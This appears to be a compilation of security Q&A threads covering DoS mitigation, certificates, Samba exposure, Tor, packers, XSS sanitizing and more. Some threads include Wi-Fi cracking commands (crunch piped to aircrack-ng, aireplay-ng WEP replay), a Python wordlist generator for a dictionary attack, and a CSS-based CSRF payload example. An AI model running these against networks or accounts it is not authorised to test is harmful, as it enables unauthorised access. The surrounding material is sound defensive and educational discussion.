How to defend against HTTP request flood What is the best way to defend your website against HTTP flood POST/GET attacks?

depending on your implementation, it can be done three (3) ways:

1. application layer approach:

set an authentication on your web server or application. this can be done by allowing only POST/GET functionality through an identified list of authenticated and authorized users.
authorized requests only from known IP range.
authorized requests from all and block certain IP range.
do a 301 to any non-authenticated/non-authorized users.

2. network layer approach:

this is far more practical considering you are deciding for the fate of the packet right before it reaches the other end or even if it had already completed the 3-way handshake. consider these examples:

a. restrict the number of concurrent connections per IP on your firewall. this will give you the ability to define how many connections can a client requests simultaneously.

in iptables, you can do this by:

 # iptables -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 24 -j DROP

in openbsd, you can do this in pf.conf:

 pass in on $ext_if proto tcp to $web_server \
     port www keep state \
     (max 200, source-track rule, max-src-nodes 100, max-src-states 3)

where it means:

Limit the absolute maximum number of states that this rule can create to 200
Enable source tracking; limit state creation based on states created by this rule only
Limit the maximum number of nodes that can simultaneously create state to 100
Limit the maximum number of simultaneous states per source IP to 3

b. for pf, you can filter the traffic by matching the tcp packets based on flags and decide for your next rule.

3. do an combination of an application layer and a network layer approach


What does the field vuln-security-protection stand-for in the NVD cve lists 2.0? In the different NVD files which enumerates the CVE, which can be found here

There is from time to time the field <vuln:security-protection>
, containing often the value ALLOWS_OTHER_ACCESS or ALLOWS_ADMIN_ACCESS.

Do you know what this field stand for ? What does it means ?

This FAQ about assigning vulnerability types implies that <vuln:security-protection> indicates that a vulnerability can be leveraged to gain access to a system.

Access is the holy grail when trying to compromise a system since if you have access you can then compromise the system in any other way you want (availability, integrity, confidentiality).

The presence of the <vuln:security-protection> element indicates that the vulnerability impacts on access rights while the value (ALLOWS_ADMIN_ACCESS etc.) indicates the level of impact.


How to remove a ca certificate in debian? I have added a root ca in my debian machine by using the following commands:
mkdir  /usr/local/share/ca-certificates/custom/
mv myserver.crt /usr/local/share/ca-certificates/custom/
update-ca-certificates

This works as intended, the cacert file in /etc/ssl/certs/java/cacerts (linked from the java installation folder) is correctly updated by the ca-certificates-java package.
However when I remove the file, and rerun the update command, it returns "0 certificates removed".
> rm myserver.crt
> sudo update-ca-certificates
Updating certificates in /etc/ssl/certs...
0 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...

done.
done.

And it is still in the java cacerts file:
echo 'changeit' | keytool -list -v -keystore /etc/ssl/certs/java/cacerts | grep 'Owner:'  | grep myserver

Using update-ca-certificates -f doesn't help.
So how to remove a ca certificate in debian, and make sure it is also deleted in the java key store ?
Thanks

Looking at update-ca-certificates, it appears you need to explicitly list what to remove in /etc/ca-certificates.conf:
# Handle certificates that should be removed.  This is an explicit act
# by prefixing lines in the configuration files with exclamation marks (!).
sed -n -e '/^$/d' -e 's/^!//p' "$CERTSCONF" | while read crt
do
  remove "$CERTSDIR/$crt"
done

In other words, leave your cert file under /usr/share/ca-certificates, but put its name in /etc/ca-certificates.conf prefixed with a !.  Just removing the cert doesn't do what you were hoping it would do.


samba server exposed to wan I recently realized that my samba server was exposed for about 3 years to the wan (ports opened and smbd was listening). I made a mistake when I configured my firewall and failed to check it.

This was the content of my smb.conf:

workgroup = WORKGROUP
dns proxy = no
interfaces = eth2 eth4
bind interfaces only = no
log file = /var/log/samba/log.%m
max log size = 1000
syslog = 0
panic action = /usr/share/samba/panic-action %d
server role = standalone server
passdb backend = tdbsam
obey pam restrictions = yes
unix password sync = yes
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
pam password change = yes
map to guest = bad user
[homes]
    comment = homes
    browseable = no
    valid users = %S
    create mode = 0600
    directory mode = 0700
    writeable = yes
[smb]
    path = /home/smb
    comment = share
    guest ok = no
    force create mode = 0775
    force directory mode = 0775
    writeable = yes
    browseable = yes
    valid users = @smb
    force group = smb
[www]
    path = /www
    comment = nginx
    valid users = admin
    browseable = no
    guest ok = no
    writeable = yes
    force create mode = 0774
    force directory mode = 0774
    force group = www-data

I've briefly reviewed the list of Samba vulnerabilities in recent years and wow ... many possibilities.

The server was updated regularly every 2 weeks.

Should I "nuke my server" and reinstall everything?

There have been no signs of compromise to this day, but I would like to stay safe.

As with many things in security, it depends. It depends on the risks of not nuking it weighed against the risks of nuking it.

If you want to "stay safe", then the obvious answer is to nuke it. You don't know what you don't know.

However, if the risks of not nuking it (hacker using it as a base of operations and able to read all data) are lower than the risks of nuking it (loss of unrecoverable data), then you should not nuke it until you can mitigate the risks.

What I'm guessing is that you don't want to go through the time costs of nuking it, and you are looking for an excuse not to. That's valid, too! If your time is more valuable than the disclosure of the data to the public and the potential impact of a hacker camping on the machine, then the cost/benefit analysis is clear.

If you are looking for professionals to tell you, "meh, probably nothing happened" then I'm not sure anyone here would take the risk to tell you that or be qualified to make that call.

You had unpatched vulnerabilities for 1 week on average over a 3 year period. There are no known indications of compromise, but you might not be qualified to assess that. That's a lot of unknowns to play with. How lucky do you feel?


How to detect file uploads from our network? I'm looking to monitor file uploads to the internet (mainly through web browsers) from our network. Specifically our application source files.

What is the best way to do this? I'm aware some DLP solutions exist out there today, but is there a better way to do this (read, cheaper) through any sort of mechanism?

If web browsers are your main concern, the 'simple' answer would seem to be setting up a proxy (e.g. squid) with SSL interception. And informing your users you are doing this.

But that (as others have pointed out) doesn't buy you all that much, beyond opening up the door to more possibilities.

With Squid alone, you would get the source, destination site/URL, and size/mime-type of the upload (and most likely, source code will be exfiltrated as a compressed archive, so the mime-type seems unlikely to be all that useful).

You can enable ICAP in Squid to offload deeper inspection to something else, but I couldn't find an open-source DLP solution that supports ICAP - there are commercial ones.
It is possible to use ClamAV via ICAP, so possibly you could write some signatures in Clam to try and help with your use case.

Fundamentally, though, this is unlikely to really guard against people exfiltrating data (it is a matter of how determined/clever they would need to be, and I can't think of much that really raises that bar).
It may be better to mandate a working environment that limits the opportunities to exfiltrate in the first place (e.g. use something akin to a bastion host/jumphost on which source code can be accessed and worked on, but hopefully not downloaded - copying may be difficult to prevent).


Does excluding Tor nodes by country improve privacy? Here's the situation: the government of West Nauru is known to run a lot of TOR exit nodes and to collect a lot of data on the traffic, using extra large arithmometers to collate & correlate stuff.

Does it make sense to put ExcludeNodes or ExcludeExitNodes into the torrc file to keep the West Nauruan surveillance agencies in the dark?

References:

A.K.Dewdney, Scientific American, Vol.258, No.4, pp.118-121. 1988.
Lucas Kauffman. TOR: Exploiting the weakest link. IT Security blog, April 2012.

Notes on selecting the correct answer:

Adnan was the first to answer and also the one to post statistics in a comment. He was IMHO correct in pointing out the futility of excluding whole clusters of countries allied to the US (yet the country I alluded to may or may not have been the States, there are fewer allies for other surveillance powers which kind of invalidates his point).
user239558 stressed that Tor is biased towards highest bandwidth nodes, and emphasized the need to tailor torrc to the assumed threat. Was thinner on the details.
Thomas provided a more rounded (IMHO) perspective, including extra reasons for governments to control exit nodes. That's why I chose his answer to be "correct".

The fact that these explanations were necessary convinces me that the close-voters were right and that these three answers were primarily opinion-based. I suppose that it is not reasonable to expect posters to conduct their own research and to quantify Tor's degree of vulnerability and to evaluate various mitigation strategies. It is increasingly clear that second-generation onion routing is not really up to the task of countering dedicated, well-funded surveillance efforts. Maybe when there are hundreds of thousands ad-hoc meshed (wireless) network nodes bypassing existing infrastructure truly anonymous networking becomes a real possibility.

In my opinion, this is an opinion-based question. Why? Because it does make sense to filter rouge exit nodes, but how do you know which ones are and which ones aren't? Where do you draw the line in your approach?

Excluding exit nodes by country means that you'll eventually want to exclude all U.S. nodes (especially after all of latest NSA news). Then you'd want to exclude other NSA-friendly countries like Australia and New Zealand. After that, it only makes sense to exclude other U.S. allies, like the UK, Saudi Arabia, Jordan, Israel, and NATO countries. That will shave off more than 90% of the exit nodes in the world. You'll end up with a handful of exit nodes, now guess what will happen then?

Yes, you've probably guessed right. Excluding nodes based on country to avoid surveillance will lead to fewer and fewer frequently used nodes, and thus easier surveillance.


Is email more secure when not letting any zipped content through? Ah. This is a bit of a soft question, but I though there might be some here that can share some insight.

I'm a developer. Sometimes I need to send a (bugfixed) DLL or EXE file to a customer. If this customer is in a big company, here's what I do:

Rename the executable file (module.dll -> module.d__)
zip the file with password so that it cannot be unzipped by the mail server
rename the zip file (module.7z -> module.7.txt)
send this via email and add a lengthy explanation for the guy at the other end on how to get at the file
cross fingers that it'll get through the filters

Now, I can understand that email filters won't allow bare exe attachments.

What I fail to grasp is, how making email server filters unzip all attachments and then additionally check the unzipped files for executables regardless of their extension is adding any security. A zip-file won't suddenly explode in the users face. He'll have to unzip the file to get at any potentially malicious content. If you can get him to unzip a file, you get get him to jump through the hoops I described above.

Insights?

Well, a bare executable is dangerous in that some users will try to execute it. They should not, they were told they must not, yet they do.

A Zip file, possibly renamed, containing possibly renamed executable files, is also dangerous because some users will rename files, do the unzip, and execute what they find within. They should not, they were told they must not, yet they do.

I have received email virus which used a renamed Zip archive with renamed contents and a password. The email contained detailed instructions on how to "open" the archive, and a "motivation speech" (usually, the promise of a naked female celebrity, sometimes threats of a fiscal nature). That I have received such emails shows that at least some users, somewhere, followed the instructions and got infected. Sad but true.

Email filters try to strike the right spot between insecurity and extreme user annoyance. So they will let pass some cleverly concealed threats, if blocking them would imply stop doing any business. In your case, you are quite happy to be able to send your EXE or DLL through. In that view, blocking unrenamed Zip archives is a "minor annoyance" (which you are effectively working around, hence the "minor") but does block a substantial amount of virus and malware. Blocking more would be "more secure" but would escalate the annoyance to "major" level.


Possible to detect packed executable? A packer is a way of obfuscating an executable program, i.e., transforming so the result is still executable and has the same effect when run, but looks different (so it won't be detected by static anti-virus).  Bad guys often use custom packers to obfuscate their malware, to make it less likely that anti-virus will detect the malware or to make it harder for anti-virus vendors to reverse engineer the malware and figure out what it is doing.

Is it possible to detect whether a particular executable has been packed with a custom packer?  In other words, given an executable, I'd like to classify it as either "has been packed with a custom packer" or "hasn't".  Are existing anti-virus tools good at detecting whether an executable has been packed with a custom packer?

I'm especially curious about the following easier variant of the problem.  Suppose I know about a particular custom packer that's being used by bad guys.  Is it feasible to recognize executables that have been packed with this packer?  In other words, given an executable E and a packer P, I'd like to classify E as either "was packed by P" or "wasn't".  Are there known techniques for doing so?  How effective are they?

There are many known ways to identify packers. The 'most common' packer UPX and its variations are usually flagged as 'suspicious' by Anti-virus engines due to a signature detection in the EXe.

There's a couple of handy tools called:

RDG Packer Detector which detects specific packers based on signature checking (presumably the same way AV does it
PEiD detects most common packers, cryptors and compilers for PE files as well as allowing for disassembly (available to download via softpedia)
A simple signature DB checker in python for you to play with (not sure where to grab the DB from though (try here?)

There's also a list here of a couple of variations of packers

Once you detect the type of packer, you can use automatic unpacker (if one is already available) or you can start manually unpacking it.

  Are existing anti-virus tools good at detecting whether an executable
  has been packed with a custom packer?

No, not really, they'll be looking (like the above tools) for signatures. If you ever spend time in blackhat forums, people advertise 'FUD Crypters/Packers' which means that they've usually modified the way their packers work so that AV's don't pick up the signatures for a while allowing for malware to slip through.

According to symantect (as quoted in this paper)

  Symantec has collected a large number of packers - more than 2000 variants in more than 200 families.

The paper mentioned above also has a lot of information regarding the techniques used, the counter-techniques employed and more which will answer the second part of your question.


How much security is compromised if we accept other characters as login (other than the original password)? I've just realised that facebook accepts 3 forms of a password:

Source:

  Facebook actually accepts three forms of your password:

  Your original password.
  Your original password with the first letter
  capitalized. This is only for mobile devices, which sometimes
  capitalize the first character of a word.
  Your original password with
  the case reversed, for those with a caps lock key on.

Obviously they are claiming that the security compromised is insignificant. My question is  is the security compromised really insignificant ?

How much easily is a hacker able to achieve a login with 2 additional "holes" ?

These rules basically mean that instead of having one valid password for an account, there are three of them (two, if the original password already begins with an uppercase letter). Theoretically, this divides attacker effort by up to 3, but actually a bit less than that because "pASSWORD" is much less probable as a user-chosen password than "Password".

So, in short words: these rules make password-guessing attacks three times easier. This does not mean that they make attacks easy.


Does using DNSSEC in parallel with an anonymisation network decrease your privacy? When using an anonymous communication network like Tor, to ensure privacy you must route your DNS traffic through the system even if your computer always uses DNSSEC for DNS lookups, would this be true? If so, why?

DNSSEC does not protect against eavesdropping, in this respect it only signs the response so the client knows it has not been spoofed:

  It is a set of extensions to DNS which provide to DNS clients
  (resolvers) origin authentication of DNS data, authenticated denial of
  existence, and data integrity, but not availability or
  confidentiality.

Emphasis mine.


Will an IP camera still work if the wifi router breaks or is turned off? Im using and IP Camera at home and I have the footage being sent to an online file storage service as well as my handheld device through the internet. If the wifi router at home is turned off or somehow malfunctions and is no longer working, will I still be able to view the footage from my handheld device or online on the storage service?

Assuming this is a WiFi camera. If it's wired and the same wireless router is how it connects to the internet.

In a simple word, No. No transport, no storage.

Put the router on an UPS.

And if it's a WiFi camera, it can be jammed.


How to Generate Custom Dictionary For this Password Structure I am trying to carry out a dictionary attack for a password that is of this structure:

15 characters
Lowercase letters and 0-9
First a five letter word then 4 numbers, then 6 letter word

Examples of possible passwords:

creek8937basket
arrow3156hardly
eager4109eleven

I can sucessfully use a program like crunch to generate a list of passwords with 5 lowercase letters, 4 numbers and then 6 lowercase letters but I want to somehow use words for the first and last part.

crunch 15 15 -d 2% -d 2@ -t @@@@@%%%%@@@@@@ | aircrack-ng -e ESSID -w - Desktop/wpa2.cap

How can I create a dictionary so that it uses 5 and 6 letter english words   for the first and last part of the password.

I know of two dictionaries for this but I need to find out how to implement them:

https://www.bestwordlist.com/5letterwords.txt
https://www.bestwordlist.com/6letterwords.txt

This is not exactly what you want but it is a close approximation of it. It will take a random word from 5 letter word list and 6 letter word list and output all possible 4 digit combinations in between the words and print it to a file, ready for further use.

You can repeat this as many times as you like and save all these files as dictionaries or even merge them if you wish to do so. Also this will save your computer from choking itself to death, both space and performance wise.

A python script:

import sys

orig_stdout = sys.stdout
f = file('pass_list', 'w') # Specify the name and path of the output file.
sys.stdout = f

import itertools
from itertools import product
import random

digits = '0123456789' # Set the digits.

prefix = open('5-letter.txt').read().split() # Specifiy the path to 5 letter word list.
first = random.choice(prefix)

suffix = open('6-letter.txt').read().split() # Specifiy the path to 6 letter word list.
last = random.choice(suffix)

for keygen in itertools.product(digits, repeat=4): # Specify the length of the digit combinations.
print (first+ ''.join(keygen)+last)

sys.stdout = orig_stdout
f.close()

Note: Both of the input .txt files need to have one word per line in order to work this properly.

EDIT: I would like to add that you may print out a bigger file if you want but know that chances are, although very slim, that prefix and suffix words will be repeated in the output file. Here is how you can modify the code.

prefix = open('5-letter.txt').read().split()
a = random.choice(prefix)
b = random.choice(prefix)
c = random.choice(prefix)

suffix = open('6-letter.txt').read().split()
x = random.choice(suffix)
y = random.choice(suffix)
z = random.choice(suffix)

for keygen in itertools.product(digits, repeat=4):
print (a+ '' .join(keygen)+x)
for keygen in itertools.product(digits, repeat=4):
print (b+ '' .join(keygen)+y)
for keygen in itertools.product(digits, repeat=4):
print (c+ '' .join(keygen)+z)

Not very pretty but it gets the job done. However, as stated above, chances of duplicate increase with repetition. And the bigger the file, the more annoying is to manually edit it.


Sniffing traffic on a secured wifi connection Open wifi is a security risk since all the data can potentially be sniffed by anyone. What I want to ask is even on a secured wifi (which requires some kind of password for authentication), the data still travels from a device to the router; can't that data be sniffed using tools?

Even if the above were not possible, let's say I were an authenticated user of such a secured connection and then run a tool like Wireshark, will any data of other connected users be displayed?

You would need to get access to the WiFI first and associate with the access point. You could collect becons and other associated management traffic, but the most you will get is some initialisation vectors, possibly the ssid and some other settings that allow clients to negotiate a connection when they are genenually connecting.

In the days of WEP this was used to collect enough information from the IVs to crack the password and then authenticate and associate with an access point, those days are a thing of the past though.

If you do get access all you have to do is run a interface in promiscuous mode and capture all the traffic, if the traffic is encrypted however you will not be able to make sense of it in programs like tcpdump or wireshark.


How to password protect a Truecrypt volume using a Diffie Hellman public key exchange? I want to send a Truecrypt volume through email. Of course, I need to password protect it, and the recipient needs to know the password too. A Diffie-Hellman public key exchange would seem to be the solution. What is the easiest and safest way of doing this? Specific instructions would help.

Let's call the person you are sending the volume to Bob, since that is traditional. Then:

You choose a very large - at least 300 digits long - prime number p, and a small number g and send them to Bob (the person you are sending the Truecrypt volume to).
You pick a large (at least 100 digits) secret number a.
Bob picks a large (at least 100 digits) secret number b.
You calculate the value of g^a mod p and send it to Bob. Call this
C.
Bob calculates g^b mod p and sends it to you. Call this D.
You calculate D^a mod p. This gives you a secret number S.
Bob calculates C^b mod p. This gives him S as well.

Now you an Bob both know S. Eve, who has listened to the whole conversation, knows the values of p, g, C, and D but she cannot calculate the value of S because she does not know the values of a or b - those were secret and never went over the insecure communication channel.

Note however that this is not enough to solve your problem. You are still vulnerable to a Man-In-The-Middle attack. If Eve can impersonate Bob and trick you into doing the above with her instead of him, then she gets to pick b and so she can work our S. So you need to add some authentication so you are sure that it's really Bob you are talking to.


Malware infection through phone call Is it possible for someone to infect your phone/computer network with malware through a phone call if the phone is connected to said network as well?

Highly unlikely. Phone calls - real phone calls, not Skype calls or whatever - go through a code path that offers little attack surface and is almost entirely under the control of the device manufacturer. I've never heard of a way to get arbitrary code execution on a device just by calling it. Now, with that said, that doesn't mean it's impossible. There have, for example, been security bugs where you could crash a phone (or possibly get code execution) by sending it an SMS. A third-party phone app could also have vulnerabilities that an attacker might be able to trigger, for example via a malicious caller ID of some kind.

If the attacker did somehow get code execution on the phone, that could certainly be used to then attack the phone (try to install malware, for example) or attack other devices on same WiFi network as the phone (probe them for vulnerabilities, steal any information it can access, possibly intercept network traffic, etc.). That's the same risk as anything else where an attacker gets arbitrary code execution on a device, though; the only difference is the attack coming from a phone call instead of an SMS/MMS, data upload to some app, or malicious code existing in the app or in the phone's OS or firmware from before.


In what way is a partially encrypted webpage insecure? What are the potential vulnerabilities that might arise if a webpage is only partially encrypted.
I can think of 2 possibilities:

You can change the non-encrypted parts of the page (HTML, CSS, Images, JS) through a MITM attack to partially change the look of the page.

You could inject malicious JS through the insecure connection in order to steal/modify the encrypted parts of the page thus rendering the entire connection insecure.

Is the 2nd scenario possible or do web browsers incorporate some security mechanisms to prevent it from happening?
This question also has implications with regards to the Stack Exchange n/w, since only the iframe containing the login form inside the login page is encrypted :
https://meta.stackexchange.com/questions/96004/login-to-stack-exchange-account-doesnt-use-https-ssl
Update:
As @Ladada pointed out, this question is actually broken into multiple parts:
Case 1: An insecure page loading a secure iframe to transmit confidential data
Answer: As davidwebster48 pointed out in his answer, this mechanism is trivially defeated since the insecure parent page can be manipulated to load the iframe with a different page of the  attacker's liking. As a side note, this means that StackExchange's login system is vulnerable to MITM attacks despite using https login forms.
Case 2: A secure page loading an insecure page via an iframe
(Assuming no confidential data is handled by the insecure iframe). This case is particularly interesting in that Same-Origin policies also come into the equation. Even if both pages may be from the same domain, since they both use different protocols, (one HTTPS and the other HTTP) this will cause same-origin restrictions to kick in. I am not sure whether these restrictions are enough to stop our attacker dead in his tracks.
Case 3: A secure page linking to insecure JS
My answer: I think this is obviously a fail since the attacker could modify the JS file to access/manipulate the entire page.
Case 4: A secure page linking to insecure sources like images, CSS
Could the attacker change enough of the look of the page to do a phishing attack? Or could he mount a Cross-Site Scripting attack?

Let's examine each case from the perspective of an active attacker Malroy and a passive attacker Eve.

Case 1: An insecure page loading a secure iframe to transmit confidential data

Passive: You're secure against passive attacks while you use the secure iframe. However, in the case of log-in iframes, if your session token is ever sent in the clear, Eve can impersonate you. (I still count impersonation as "passive" here, since Eve is not actively tampering with your connection; she's just making her own connections with new information she learned.)

Active: If the HTML page itself is insecure, you've already totally lost. You can have every subresource on the page be securely transmitted, but it doesn't matter: Malroy has already rewritten your page to use totally different resources.

Case 2: A secure page loading an insecure page via an iframe

Passive: Obvious major problem here: anything you do in the iframe is in plain view. However, Eve can't see what you do in the top-level secure page. Still, the user is left confused about what elements on the page can be interacted with securely and which can't.

Active: Malroy can make anything appear in the iframe; I hope you weren't using it for anything important. I don't think there's any way for Malroy to break out of the iframe and read or alter your outer secure page, because browsers already assume cross-origin iframes are not trustworthy. If there were a way to break out of the iframe, I think it would be considered a serious security bug in your browser (which isn't to say those don't exist, but that's an implementation problem, not a theoretical issue with mixed content).

Case 3: A secure page linking to insecure JS

Passive: Eve can learn what HTTPS site you are viewing, based on what HTTP resources you load. (Granted, she might be able to do this over a secure connection, based on destination IP address and size/pattern of the encrypted resources you fetch. Regardless, HTTP only makes things easier for her.)

Active: As you guessed, Malroy can make your HTTPS page completely rewrite itself by feeding it an altered script.

Case 4: A secure page linking to insecure sources like images, CSS

Passive: Same as case 3, above.

Active: CSS is pretty powerful. If Malroy could rewrite a CSS resource, he could do some pretty heavy presentation manipulation. As an example, perhaps Malroy re-styles a the inputs fields of a forum's "Create New Thread" page to look like a log-in page. This tricks the user into thinking his session has timed out, and he unwitting submits his credentials as a public new post.

An active attacker could also use CSS to prompt a client to participate in a CSRF attack, e.g., by using background-image: url(http://www.bigbank.com/transfer?amt=1000000&to=malroy).


Is data in iPhone "spare" flash memory also encrypted and shredded? First I'd like to ask is flash memory used in an iPhone? If yes then please answer my next question.

Flash memory uses wear levelling (changing the physical location on the memory of a logical location) to maximise lifetime. Most flash has some "spare" space that is unreported to allow it to maintain the reported space when an area wears out. This means that there may well be some small amounts of memory that probably holds some unknown data even when the phone is reporting as full. However, it would be arbitrary data and I would expect it would require forensic tools to recover it.

When you reset an iPhone the memory gets encrypted and the keys are deleted. But is the data in the worn out area also encrypted, and does the app shredit and other file shredders also overwrite the worn out area?

First I'd like to ask is flash memory used in an iPhone?

Yes.

  When you reset an iPhone the memory gets encrypted and the keys are deleted. But is the data in the worn out area also encrypted…?

Data in an iPhone's flash memory is always encrypted. When the phone is reset -- either through a software restore, or using the "Erase all content and settings" option in Settings -- the encryption keys are overwritten. This makes it impossible to decrypt any of the old data, whether it was stored in an active part of flash memory or not.

Apple's white paper iOS Security explains the device's hardware security in more detail. It's worth reading.


SAPE link injection into website I currently have a WordPress website that has been updated to latest version 4.1, also latest theme installed.

The problem is this SAPE Russian link network that is injecting malware code into the footer.php. Have found the main source code under.. images/cache/'._SAPE_USER.'/cache.php'

I delete the file, even set no write permissions to the footer.php file and still these links manage to appear. Has anyone had experience getting rid of these links. Help would be appreciated cheers.

Did you run the plugin Wordfence? it checks all files to see if you have any mailicious code present and gives a report. If malicious code is present, many files besides footer will be affected, including false/fake files.

Check the report and remove accordingly.


Can the Gmail password be recovered from the Android Gmail app? I have an Android device with the Gmail app installed. This app can access the mailbox so there must be some kind of authentication data stored on the device (possibly an application specific password?).

Is there a way to use the installed Gmail app to recover/reset the password for the associated Google account or set the security question/phone number associated with it?

More generally, does the Gmail app provide full control over the account, or does it allow only to receive and send emails through the account?

There is some information on this page and you can read that page too if you like the zoo-like ambiance of finding a few gems of information amid all the monkey screaming.

Succinctly, for access to Gmail specifically, the App uses the password upon the first connection, to obtain a specific token value; think of it as a randomly generated sub-password. The token value is enough to read incoming emails, send emails, and alter the mailbox. It does not, however, give any power beyond these operations, so knowing the token value does not give you access to the actual password or to other Google sites (like Google+). The App stores the token value, not the user password.

So this answers your question: if someone steals or subverts your smartphone, he can obtain the token value which grants access to your emails, but he won't be able to recover or reset your password, or access any other service linked with your password. Of course, a few caveats apply:

Someone who controls your emails can then leverage that to attack all systems who use an email-based password-recovery system. A lot of sites implement a "forgotten password" feature in which a password-reset token (say, URL) is sent through email. Gaining access to your emails is kind of equivalent to stealing your Internet life altogether.
An attacker who could subvert your phone enough to read the private data storage of the Gmail App is most probably able to plant a key/screen logger and obtain your actual password the next time you type it.


Site asking for driver's license when buying items I recently made a purchase on a website that asked for my Drivers license or government ID. I gave them a Drivers license photo I covered my license number and DD number but the license number can be decoded using an online tool (with the info I gave them).

Should I be worried that my identity can be stolen? The only info I gave them was my full name, address and birthday and other info about myself on a drivers license like eye color and height. It was only a picture of the front of the ID. The back with a other information is still not known to the seller.

So should I be worried? Or is it just a company trying to protect themselves from Paypal chargebacks?

Extra Information(my reasoning why I gave them my ID)
Using this as a reference(I didn't think you can steal someone's identity with just there name,address,date of birth):
"The truth is, an imposter can use your Driver's License (DL#) or State ID number to impersonate you. ... The thing you need to keep in mind is that the only piece of information that is needed is your DL# or state ID#. Your name, address, DOB etc. is not needed to steal your identity."(Reference)

I made a purchase of virtual game items.

I want to mention one last piece of information. I did not show the DD of the license and I did a bit of research and apparently it helps against fraud.

I'd be curious why they need an ID.  Are you buying something where you need to be of a certain age?  Do they have restricted buyers?  In the US, you need to be 21 to purchase alcohol and you need to be 18 (and not a felon) to purchase ammunition or firearms.  Buying either of those online doesn't sound like a good idea, IMHO.  Otherwise, I'd be very suspicious of these terms.  What conceivable need would they have for this information?  Even with credit cards, the merchant gets paid - the card company eats the cost if the transaction is fraudulent.  I'm not sure about how PayPal works in that respect , though.

I'd suggest playing it safe and keep an eye on your credit bureau report for a little while.

If a bad guy has your name, address, and DOB he can do a lot.  He can forward your mail and start sifting through it to gain more info.  He can start looking around local counties and see if he can find your birth certificate and from there, the sky's the limit.  There's more info on the risk with your date of birth  here.


How would you remove the malware from a router or switch? With the recent release of vault 7 was just wondering if you were to purchase a piece of network equipment off of eBay (or anything else for that matter?) that the CIA installed malware onto, how would you go about removing that?

Would a firmware reinstall be enough to fix that?

If

the installed malware is only present within the storage that gets
overwritten by a firmware reinstall
you can trust the firmware you're about to reinstall, and
you can trust the mechanism by which you reinstall that firmware

then yes, it would be enough.


WEP password cracking I was testing WEP password cracking on my router. I had set a thirteen character password ("TESTING123456") and tried these commands:

airmon-ng start wlan0

Then I started airodump-ng using this command:

airodump-ng mon0

After this I performed "fake authentication" using:

aireplay-ng -1 3 –a 98:fc:11:c9:14:22 mon0

Then I executed these commands:

airodump-ng mon0 --bssid 98:fc:11:c9:14:22 --channel 6 --write RHAWEP

aireplay-ng -3 –b 98:fc:11:c9:14:22 –h 00:c0:ca:50:f8:32 mon0

The problem is that the IV (Initialization vectors) are coming very slowly. I
have collected 428000 beacon packets and only received 27000 IVs. I saw some tutorials where the ratio of beacon packet vs IV was about 2:1.

So is there any other way to grab IVs faster ? Any suggestion will be highly appreciated.

EDIT:----

Is there any other method to crack a WEP password? If there are, please suggest some other methods.

I do not know of any other methods to crack WEP as this is probably the fastest way and a technique you can be sure will end up giving you the key.

That said, you may want to check that command

aireplay-ng -3 –b 98:fc:11:c9:14:22 –h 00:c0:ca:50:f8:32 mon0

The second mac in there is supposed to belong to a client already authenticated on the AP when you start the capture, this should not be any random one.

Other than that, as said in the comments, only thing I can see is your wireless card is badly configured, you have the wrong drivers, or it is simply not supported (which the card you seem to have should be).

If everything goes right you should get IV's very quick. With a bad wireless card i manage to get approximatively 10K each 3-5 minutes


How to mitigate damage from a database dump? Is there any good practice to mitigate potential damage from a potential database dump?

I know the best practice is to not store any data at all, but we know that there is always sensitive data to be saved.

For things like password, we can potentially get away by using bcrypt or PBKDF2 hash. But what about other informations like address, credit card, medical information? We can encrypt them inside the database, but that will also make them not searchable. Does it actually even make sense to encrypt stuff to the fields in the database?

Some also suggested that to actually shard the database to multiple ones in different location. Does this make sense? If one is compromised, most likely to dump the other ones will be quite straightforward isn't it?

The more I think about it, there is nothing really which can mitigate the damage from a database dump except not storing information and preventing it from actually to happen in the first place. Is it really so?

You are correct encrypting the data at the application layer and storing it in the database has limitation on search, although clever application architecture could get around some of this by allowing a temporary decryption of data while the application is running, such as in memory - depends on the size of dataset, the security requirements, and compliance levels needed.

I think the shard option as you likely indicate doesn't offer much if any protection, and can complicate the system with little benefit.

How about full database encryption options? These are handled by the database engine and are transparent to the application: https://docs.microsoft.com/en-us/sql/relational-databases/security/encryption/transparent-data-encryption-tde


Is this sanitizer vulnerable to XSS? To have a simple and secure editor for text fields of a django app, I have this snippet to sanitize input HTML into django code:

from bs4 import BeautifulSoup

def sanitize_html(value):
  tag_whitelist = ['img','b','strong','blockquote', 'a']
  attr_whitelist = ['src', 'alt', 'width', 'height', 'href','class']
  soup = BeautifulSoup(value)
  for tag in soup.find_all():
      if tag.name.lower() in tag_whitelist:
          tag.attrs = { name: value for name, value in tag.attrs.items()
              if name.lower() in attr_whitelist }
      else:
          tag.unwrap()

  # scripts can be executed from comments in some cases
  try:
    comments = soup.find_all(text=lambda text:isinstance(text, Comment))
    for comment in comments:
      comment.extract()
  except:
    pass
  return unicode(soup)

I have also blacklisted entering javascript in model fields using this method:

BADLIST = ['javascript']

def no_js (text):
    if any(e in text for e in BADLIST):
        raise ValidationError("Your text contains bad words!")
    else:
        return True

On the other hand, in template I need to use {{text| safe}} to allow healthy HTML tags to be displayed.

So I'm wondering with these constraint, whether the input is still vulnerable to cross-site scripting (XSS)? And if so, how to fix it?

The class attribute could be used for redressing the UI to make untrusted elements and text appear to be authoritative text coming from the website itself.

See the Google Browser Security Handbook for more information.

Instead of writing your own, use an established HTML sanitiser such as Google Caja. These are hard to write because there are so many ways of getting round XSS filters.

Also make sure you implement a Content Security Policy - then anything sneaking round Google Caja will refuse to execute in the browser.


Code Change That Resulted in Database Fields and Values Exposed At my company, we have a new development team that has been completely rewriting all of the code for different parts of the system.

I've noticed that with one of the recent changes, you can now see the JSON data for all of the fields and values for each field that exist in our database for that particular section of an account where a user is logged in. You can do so simply by using Developer Tools in Chrome.

Is this a bad idea from an information security perspective? Why or why not?

Disclaimer: I am not part of any development team, but would like to make others aware so that this can be dealt with appropriately if it is a security concern.

Security is rarely a binary proposition: whether or not something is a security concern depends on the circumstances.  The sort of security you need for an anonymous cat-picture voting site is different than the security needed for the president to launch a nuclear assault.  As a result, only your development team can decide if this is a security concern.

What is clear is that you can access data.  The next question to decide if this may be a problem is very simple: Are the users in question supposed to have access to this data?

If the data you found is data that would normally be accessible to the user through the application anyway, then it really isn't a problem at all.  There are plenty of situations where you might find info in the Developer Tools that isn't visible on the page, simply because the user hasn't asked to view it yet.  However, If this allows people to access data they aren't supposed to have access to, then it definitely is a problem.


